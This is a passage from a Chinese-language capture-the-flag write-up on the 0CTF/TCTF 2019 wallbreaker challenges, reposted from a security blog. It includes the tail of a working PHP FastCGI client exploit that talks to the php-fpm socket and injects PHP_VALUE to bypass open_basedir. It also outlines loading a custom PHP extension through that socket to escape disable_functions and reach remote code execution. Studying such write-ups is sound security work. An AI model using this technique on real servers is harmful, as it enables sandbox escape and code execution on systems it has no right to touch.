busy [OVERLOADED]');            break;            case self::UNKNOWN_ROLE:                throw new Exception('Role value not known [UNKNOWN_ROLE]');            break;            case self::REQUEST_COMPLETE:                return $this->_requests[$requestId]['response'];        }    }}$client = new Client('unix:///var/run/php/php7.2-fpm.sock', -1);$php_value = "open_basedir = /";$filepath = '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php';$content = 'rai4over';echo $client->request(array(  'GATEWAY_INTERFACE' => 'FastCGI/1.0',   'REQUEST_METHOD' => 'POST',   'SCRIPT_FILENAME' => $filepath,   'SERVER_SOFTWARE' => 'php/fcgiclient',   'REMOTE_ADDR' => '127.0.0.1',   'REMOTE_PORT' => '9985',   'SERVER_ADDR' => '127.0.0.1',   'SERVER_PORT' => '80',   'SERVER_NAME' => 'mag-tured',   'SERVER_PROTOCOL' => 'HTTP/1.1',   'CONTENT_TYPE' => 'application/x-www-form-urlencoded',   'CONTENT_LENGTH' => strlen($content),   'PHP_VALUE' => $php_value,), $content);

</p></details>

两个exp都是用php实现了一个Fast CGI Client,然后去连接 php-fpm 的 sock,绕过 open_basedir 执行代码

具体过程是先传上 exp.php(上面的exp),然后 include 它,就能绕过 open_basedir 的限制

但是这种方法只是绕过 open_basedir 的限制,需要其他人先做出题目,运行readflag把flag输出到一个文件里,才能拿到flag,还是不能绕过 disable_functions 执行命令

优雅的利用方法在下面

0CTF/TCTF2019_final wallbreaker_not_very_hard

这题是上题的难度提升版,上题的多种exp都行不通了

过滤了一堆函数:

限制目录

首先绕过 open_basedir

或者

/var/run/php/ 下发现 /var/run/php/U_wi11_nev3r_kn0w.sock,就是 PHP-FPM 用的 socket

然后同上文disable_functions 来RCE的方法

编译一份PHP扩展,通过扩展加载命令函数,与 socket 通信完成RCE

wp:

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652852116&amp;idx=1&amp;sn=32314ff928388bd4c33bcbb0e19b4317&amp;chksm=bd5933598a2eba4fd317772279c87342f341730e2486f3e6b1c1d07099a7609b0734565b9805#rd
如有侵权请联系:admin#unsafe.sh